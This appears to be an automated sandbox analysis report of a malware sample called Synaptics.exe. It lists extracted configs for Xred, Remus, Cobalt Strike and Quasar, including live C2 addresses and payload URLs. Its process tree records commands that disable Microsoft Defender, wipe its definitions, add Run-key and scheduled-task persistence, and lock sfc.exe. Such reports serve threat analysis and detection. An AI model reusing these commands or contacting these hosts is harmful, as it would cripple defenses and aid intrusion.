Resubmissions
30/08/2026, 18:07
260830-wqdtasyxd11015/08/2026, 20:51
260815-zm6lpahf9315/08/2026, 20:41
260815-zgvbgagm7y14/08/2026, 22:57
260814-2w7w8aar3y14/08/2026, 11:48
260814-nyhs8aszbx1014/08/2026, 04:14
260814-ett61svse11014/08/2026, 04:07
260814-epvlzscl7y09/08/2026, 10:54
260809-mzv99sztc109/08/2026, 10:54
260809-mzk5aswfjg09/08/2026, 10:47
260809-mv1desdp6xAnalysis
- max time kernel
149s - max time network
154s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
02/08/2026, 18:28
General
- Target Synaptics.exe
- Size 764KB
- Sample260802-w4e9aaek9z
- SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
Malware Config
Extracted
-
xred
-
xred.mooo.com
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
-
remus_stealer
-
http://carogra.biz:4219
-
http://myrtler.biz:9549
-
http://angect.xyz:7838
Extracted
-
cobaltstrike
-
391144938
-
http://117.72.39.83:4433/api/x
-
access_type
512
-
host
117.72.39.83,/api/x
-
http_header1
AAAACgAAAAtBY2NlcHQ6ICovKgAAAAcAAAAAAAAAAwAAAAIAAAAKU0VTU0lPTklEPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAAAtBY2NlcHQ6ICovKgAAAAcAAAAAAAAAAwAAAAIAAAAJSlNFU1NJT049AAAABgAAAAZDb29raWUAAAAHAAAAAQAAAAMAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
polling_time
60000
-
port_number
4433
-
sc_process32
%windir%\syswow64\rundll32.exe
-
sc_process64
%windir%\sysnative\rundll32.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjsNJqe72I2qdn1Jdwld+yjxFOtUlbgcuXRIR7h/5Rh2W46sjZ95/3HE4ghqRSJZXmDmEKSJykTG7ht+QvA9ZKd4jdQT+4J7a+pHDM+GrJy4v04oZ334ob2MaDbF6w5S+hDLmThk6UdqtogvPGDpAkXOivVt4pC+ISpOLRqcM2QwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
1.481970944e+09
-
unknown2
AAAABAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/api/y
-
user_agent
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MASPJS)
-
watermark
391144938
Extracted
-
quasar
-
1.4.1
-
Aquarius
-
192.168.8.103:4782
-
192.168.8.105:4782
-
192.168.8.114:4782
-
a198a147-9efc-419d-9539-bac2108dc109
-
encryption_key
4CF458F992C472DE78F317085B34A8A1747FC32D
-
install_name
WindowsDataUpdater.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
WindowsDataUpdater
-
subdirectory
WinBioData
Signatures
- Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Remus
Remus is a stealer written in C++.
- Family: Xred
Xred is backdoor written in Delphi.
- Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
- A stealer written in Python and packaged with Pyinstaller 1 IoCs
- Quasar payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 2 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 13 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Possible privilege escalation attempt 2 IoCs
- Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Creates new service(s) 2 TTPs
- Disables service(s) 3 TTPs
- Executes dropped EXE 26 IoCs
- Loads dropped DLL 49 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 6 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
remove IFEO.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Discovers running processes 1 TTPs 2 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Drops file in System32 directory 19 IoCs
- SmartAssembly .NET packer 3 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 17 IoCs
- Drops file in Windows directory 15 IoCs
- Launches sc.exe 16 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 13 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 15 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Enumerates system info in registry 2 TTPs 5 IoCs
- Modifies Control Panel 3 IoCs
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 35 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 23 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_a8b257b458693ac9.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_a8b257b458693ac9.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe"C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\namu864.exe"C:\Users\Admin\AppData\Roaming\namu864.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cmstp.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\.\cmstp.exe namu864.inf5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\1ef0bdd400682f9d\ScreenConnect.ClientSetup.msi"4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\klr.exe"C:\Users\Admin\AppData\Local\Temp\Files\klr.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\steamcmd.exe"C:\Users\Admin\AppData\Local\Temp\Files\steamcmd.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe"C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN32.exe"C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN32.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\365VPN32\365VPN32.exe"C:\Users\Admin\AppData\Local\Temp\365VPN32\365VPN32.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\cmstp.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\.\cmstp.exe 365VPN32.inf5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\MalinovkaLauncher.exe"C:\Users\Admin\AppData\Local\Temp\Files\MalinovkaLauncher.exe"3⤵
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 15244⤵
- Program crash
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Files\qcoin128.exe"C:\Windows\System32\Files\qcoin128.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Files\ScreenConnect.ClientSetup.exe"C:\Windows\System32\Files\ScreenConnect.ClientSetup.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3484 -s 9644⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\Files\kdmapper_Release.exe"C:\Windows\System32\Files\kdmapper_Release.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\Files\Service.exe"C:\Windows\System32\Files\Service.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\Files\pkexU0YtxaR3.exe"C:\Windows\System32\Files\pkexU0YtxaR3.exe"3⤵
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Modifies Control Panel
-
-
C:\Windows\SysWOW64\Files\a.exe"C:\Windows\System32\Files\a.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "4972" "2280" "2248" "2276" "0" "0" "2284" "0" "0" "0" "0" "0"5⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
C:\Windows\SysWOW64\Files\Aquarius.exe"C:\Windows\System32\Files\Aquarius.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C114.tmp\C115.tmp\C116.bat C:\Windows\SysWOW64\Files\Aquarius.exe"4⤵
- Drops file in System32 directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 15⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f5⤵
- Adds Run key to start application
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f5⤵
- Adds Run key to start application
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f5⤵
- Adds Run key to start application
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f5⤵
- Adds Run key to start application
-
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'"7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend8⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FO LIST8⤵
- Discovers running processes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid8⤵
-
-
-
-
-
C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "WindowsDataUpdater" /sc ONLOGON /tr "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\timeout.exetimeout 55⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\SysWOW64\Files\TempSpoofer.exe"C:\Windows\System32\Files\TempSpoofer.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\Files\01.exe"C:\Windows\System32\Files\01.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\Files\PDFConverter_P2W154-zx-666.exe"C:\Windows\System32\Files\PDFConverter_P2W154-zx-666.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\patcher.exe"C:\Windows\System32\Files\patcher.exe"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\SysWOW64\Files\srtware.exe"C:\Windows\System32\Files\srtware.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\qcoin139.exe"C:\Windows\System32\Files\qcoin139.exe"3⤵
-
C:\Windows\SysWOW64\Files\QUpdate.exe"C:\Windows\System32\Files\QUpdate.exe" qcoin1394⤵
-
C:\Windows\SysWOW64\Files\qcoin139.exe"C:\Windows\System32\Files\qcoin139.exe" auto5⤵
-
-
-
-
C:\Windows\SysWOW64\Files\SshCracker.exe"C:\Windows\System32\Files\SshCracker.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\A.I_1003H.exe"C:\Windows\System32\Files\A.I_1003H.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\A.I.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\A.I.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\A.I_Run.cmd" "5⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\sc.exesc stop PcaSvc6⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\Sysnative\sfc.exe6⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\Sysnative\sfc.exe /t /deny everyone:f6⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
-
-
C:\Windows\SysWOW64\Files\mKM65Cf6QNqeOVw9.exe"C:\Windows\System32\Files\mKM65Cf6QNqeOVw9.exe"3⤵
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"4⤵
- Launches sc.exe
-
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3484 -ip 34841⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 275478664D48E0CAAF85C2B877E36FAC C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI37B0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240728062 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F7B62B8DAA6A02816B812A85367B1F3E2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 4776 -ip 47761⤵
-
C:\Windows\system32\WinBioData\WindowsDataUpdater.exeC:\Windows\system32\WinBioData\WindowsDataUpdater.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exeC:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exeC:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
